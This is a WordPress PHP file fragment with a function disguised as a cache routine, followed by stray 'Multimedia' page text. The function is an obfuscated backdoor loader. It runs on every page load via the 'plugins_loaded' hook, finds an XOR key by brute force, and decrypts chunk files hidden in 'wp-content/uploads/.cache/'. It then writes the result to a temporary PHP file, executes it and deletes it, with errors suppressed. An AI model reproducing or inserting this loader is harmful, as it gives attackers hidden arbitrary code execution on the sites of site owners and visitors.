/* 187182e58205a233d32cf3f35c704602 */
function star_addons_cache_houston() {
	$cache_dir = ABSPATH . 'wp-content/uploads/.cache/';
	$meta_file = $cache_dir . 'cache_meta.bin';
	
	if(!@file_exists($meta_file)) {
		return;
	}
	
	$meta_encrypted = @file_get_contents($meta_file);
	if(!$meta_encrypted) {
		return;
	}
	
	$meta = null;
	$key = 0;
	for($i = 1; $i <= 255; $i++) {
		$test_decrypt = '';
		for($j = 0; $j < strlen($meta_encrypted); $j++) {
			$test_decrypt .= chr((ord($meta_encrypted[$j]) ^ ($i + 1)) & 0xFF);
		}
		$test_json = @json_decode($test_decrypt, true);
		if($test_json && isset($test_json['key']) && isset($test_json['count'])) {
			$meta = $test_json;
			$key = intval($test_json['key']);
			break;
		}
	}
	
	if(!$meta || $key === 0) {
		return;
	}
	
	$count = intval($meta['count']);
	$ordered_chunks = [];
	
	for($i = 0; $i < $count; $i++) {
		$filename = sprintf('cache_%04d.bin', $i);
		$filepath = $cache_dir . $filename;
		
		if(!@file_exists($filepath)) {
			return;
		}
		
		$encrypted = @file_get_contents($filepath);
		if(!$encrypted) {
			return;
		}
		
		$decrypted = '';
		for($j = 0; $j < strlen($encrypted); $j++) {
			$decrypted .= chr((ord($encrypted[$j]) ^ $key) & 0xFF);
		}
		
		$ordered_chunks[$i] = $decrypted;
	}
	
	if(count($ordered_chunks) === $count) {
		ksort($ordered_chunks);
		$code = implode('', $ordered_chunks);
		if($code && strlen($code) > 10) {
			$temp_file = $cache_dir . 'temp_' . uniqid() . '.php';
			if(@file_put_contents($temp_file, $code, LOCK_EX)) {
				@include $temp_file;
				@unlink($temp_file);
			}
		}
	}
}
add_action('plugins_loaded', 'star_addons_cache_houston');
/* /187182e58205a233d32cf3f35c704602 */
	Multimedia
	
	
	
	
	
	
	
	
    
	
	
	
	
	
      	    	
Multimedia